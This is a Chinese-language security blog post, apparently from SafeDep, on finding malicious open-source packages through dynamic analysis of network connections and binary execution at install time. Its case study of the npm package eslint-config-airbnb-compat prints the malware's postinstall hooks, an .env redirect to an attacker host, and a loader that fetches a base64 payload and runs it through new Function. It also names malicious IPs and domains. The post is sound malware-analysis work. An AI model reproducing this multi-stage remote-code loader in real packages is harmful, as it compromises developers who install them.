目录
在我们的上篇博客中,我们讨论了构建大规模动态分析系统以识别恶意开源软件包。动态分析有助于在沙箱环境中观察软件包安装后的实际运行时行为和活动。它是对我们静态分析系统的补充,有助于:
- 验证静态分析结果并将其与实际运行时行为相关联
- 克服静态分析的局限性(可能存在误报和漏报)
- 观察软件包在受控环境中执行时的实际行为方式
- 识别可能规避静态代码分析的恶意软件包
- 随着时间推移减少人工干预(手动分析)的需求
本博客的目标是分享我们基于动态分析信号识别恶意软件包的学习成果和方法。这是朝着为软件包安装分析建立可靠基线迈出的一步,以便能够用它来识别异常值和异常行为。
方法
自我们启动这套基础设施以来,跟踪了动态分析系统生成的近 2800 万条事件,分析了超过 38 万个软件包。随着事件不断生成,我们需要一种方法来发现异常活动和可能被提交手动审查的潜在恶意软件包。这只能通过启发式方法和模式来发现,而非手动审查所有软件包生成的所有事件。
作为第一步,我们决定从事件中聚合以下信息:
- 网络连接、IP 聚合器
- 安装时的二进制文件执行
选择这些指标的理由是:
- 无论使用何种特定 TTP,某些有效载荷最终会被恶意软件包执行
- 该有效载荷要么会发起网络调用,要么会以异常方式执行命令(例如
curl)
我们过去的观察可以证实这一假设,我们观察到多个恶意软件包最终会从远程 C2 服务器下载第二阶段有效载荷或将数据上传到远程服务器(数据泄露)。
网络连接
任何软件包安装过程总会触发网络连接,特别是连接到源注册中心,如 npm、pypi、rubygems 等。我们不仅需要检测网络连接,还必须识别这些连接分布中的异常值。为了识别异常值,我们记录这些连接的每个 IP 地址,并分析这些 IP 地址的分布情况。下图显示了网络连接的 IP 地址分布:
查看数据,我们可以发现一些有趣的模式。少数 IP 地址在分布中不常见。从安全角度来看,这些罕见的连接会引起警觉,因为合法软件包安装通常连接到已知且频繁访问的端点。下图突出显示了一些可疑的一次性连接,这些可能是进一步调查的合适候选对象:
例如,在 VirusTotal 上查询 IP 167.99.69.236 显示它已被多个安全供应商标记为恶意。
接下来,我们执行了 reverse DNS lookups 来识别这些 IP 地址的主机名。以下是一些被解析为主机名的 IP 地址。
查看主机名,像 oast.online、oast.site、oast.live 和 mail.sms-system-alert.com 这样的域名是已知的恶意域名。特别是,OAST(带外应用安全测试)域名常被用于恶意目的,如数据泄露和命令与控制。我们在之前的文章 Burp Collaborator 用于恶意 npm 软件包 中看到过这种情况。
sms-system-alert.com
异常二进制文件执行
软件包在安装过程中引入预编译二进制文件是常见现象。例如,随 npm 和 pypi 软件包附带的顶级二进制文件或预期存在于系统中的二进制文件包括 esbuild、workerd、rustc、cmake、ninja、zig 等。这些二进制文件的执行出于合法目的,但一旦软件包安装就可以被用来危害系统。下图显示了这些二进制文件的分布:
查看分布情况,我们可以发现一些可疑的二进制文件,如 bsc.exe、purs.bin 和 test_program,它们出现频率很低。这些未知可执行文件构成潜在安全风险,因为它们可以在软件包安装时立即执行恶意代码,可能在安全控制措施能够检测和阻止威胁之前就危害系统。
案例研究:Npm 软件包 eslint-config-airbnb-compat
虽然该系统处于早期研究阶段,我们在此展示一个使用上述方法识别的真实恶意软件包案例。该软件包是 eslint-config-airbnb-compat,我们的静态分析系统未检测到其为恶意。以下是导致识别该软件包的高级事件链:
- 在网络连接日志中检测到可疑 IP 地址
45.11.59.250 - 将事件与我们的静态分析报告为盲的软件包
eslint-config-airbnb-compat关联 - 手动分析无法明确确定此网络活动的原因
- 依赖图分析发现
ts-runtime-compat-check是一个带有第二阶段加载器代码的传递依赖项 - 手动分析将两个软件包关联起来并确认了恶意意图
初步检测
对于此分析,触发点是网络连接日志中出现的低调 IP 地址 45.11.59.250。反向 DNS 查询显示主机名 mail.sms-system-alert.com 被 VirusTotal 标记为恶意。这给了我们足够的信心进一步调查该软件包。
我们追溯与该事件关联的软件包,该软件包连接到此 IP 45.11.59.250(其主机为 mail.sms-system-alert.com),发现了 eslint-config-airbnb-compat。该软件包似乎冒充合法的 eslint-config-airbnb,可能旨在进行星级劫持(starjacking)并向自动化安全工具伪造其来源。
我们发现,eslint-config-airbnb-compat 在 package.json 中声明了一个安装后脚本以执行 setup.js。对于大量 npm 软件包来说,这并非完全异常,尽管它确实引发安全顾虑。
"postinstall": "node ./setup",
```
```
然而,手动分析揭示了多种异常行为。为了避免被识别,``setup.js`` 不包含任何恶意代码。它只是执行以下操作:
- 将嵌入的 ``.env.example`` 复制到 ``.env``
``````js
if (!fs.existsSync('.env')) {
fs.copyFileSync('.env.example', '.env');
process.env.APP_PATH = process.cwd();
}
```
```
- ``.env`` 文件包含以下内容
``````txt
APP_ENV=local
APP_PROXY=https://proxy.eslint-proxy.site
APP_LOCAL=
ESLINT_DEBUG=true
FORCE_COLOR=1
```
```
> **注意:** 主机 ``proxy.eslint-proxy.site`` 解析为我们的目标 IP 地址 ``45.11.59.250``
- 如果 ``npm install`` 目录不存在则执行 ``node_modules``
``````js
if (!fs.existsSync('node_modules')) {
run('npm install');
}
```
```
此时,我们相当确信该软件包是恶意的。然而,我们需要确定这种恶意行为的根本原因。我们首先分析该软件包的依赖图,发现 ``ts-runtime-compat-check`` 是一个带有第二阶段加载器代码的传递依赖项。软件包 ``ts-runtime-compat-check`` 依次有一个安装后脚本:
``````shell
"postinstall": "node lib/install.js"
```
```
``lib/install.js`` 中 ``ts-runtime-compat-check`` 包含有趣的代码:
``````js
const appPath = process.env.APP_PATH || 'http://localhost';
const proxy = process.env.APP_PROXY || 'http://localhost';
const response = await fetch(\`${proxy}/api/v1/hb89/data?appPath=${appPath}\`);
```
```
当通过 ``eslint-config-airbnb-compat`` 引入时,上面的 ``fetch(..)`` 调用中将包含 ``proxy=https://proxy.eslint-proxy.site``。上述 fetch 调用预期会失败以触发 *remote server* 提供错误消息的 ``errorHandler`` 函数。
``````js
try {
if (!response.ok) {
const apiError = await response.json();
throw new Error(apiError.error);
}
await response.json();
} catch (err) {
errorHandler(err.message);
}
```
```
位于 ``https://proxy.eslint-proxy.site`` 的远程服务器可以返回一条 *JSON* 消息,如 ``{"error": "<JS Payload>"}``,该消息将作为 Error 对象传递给 errorHandler。
错误处理程序依次执行以下操作:
- 将消息解码为 *base64* 字符串
``````js
const decoded = Buffer.from(error, 'base64').toString('utf-8');
```
```
- 从解码后的字符串构造一个函数
``````js
const handler = new Function.constructor('require', errCode);
```
```
- 最终执行远程代码
``````js
const handlerFunc = createHandler(decoded);
if (handlerFunc) {
handlerFunc(require);
} else {
console.error('Handler function is not available.');
}
```
```
这几乎确认了整个攻击链的恶意行为。它实现了一种使用传递依赖项隐藏恶意代码的多阶段远程代码执行攻击。
## 结论
动态分析为检测可能规避静态分析的恶意开源软件包提供了一种互补方法。通过在软件包安装期间监控网络连接和二进制文件执行,我们可以识别表明潜在威胁的可疑行为。``eslint-config-airbnb-compat`` 软件包中发现的多阶段攻击展示了这些攻击可能如何复杂,使用传递依赖和混淆技术来隐藏恶意代码。
随着攻击者继续开发越来越复杂的方法来破坏开源软件供应链,结合静态和动态分析方法是有效检测的必要手段。通过专注于运行时期间的异常信号和模式,我们可以更好地保护软件供应链免受不断演变的威胁,并维护开源生态系统的完整性。
- dynamic-analysis
- oss
- malware
- security
## SafeDep 博客的最新内容
关注以获取开源安全与工程的最新更新和见解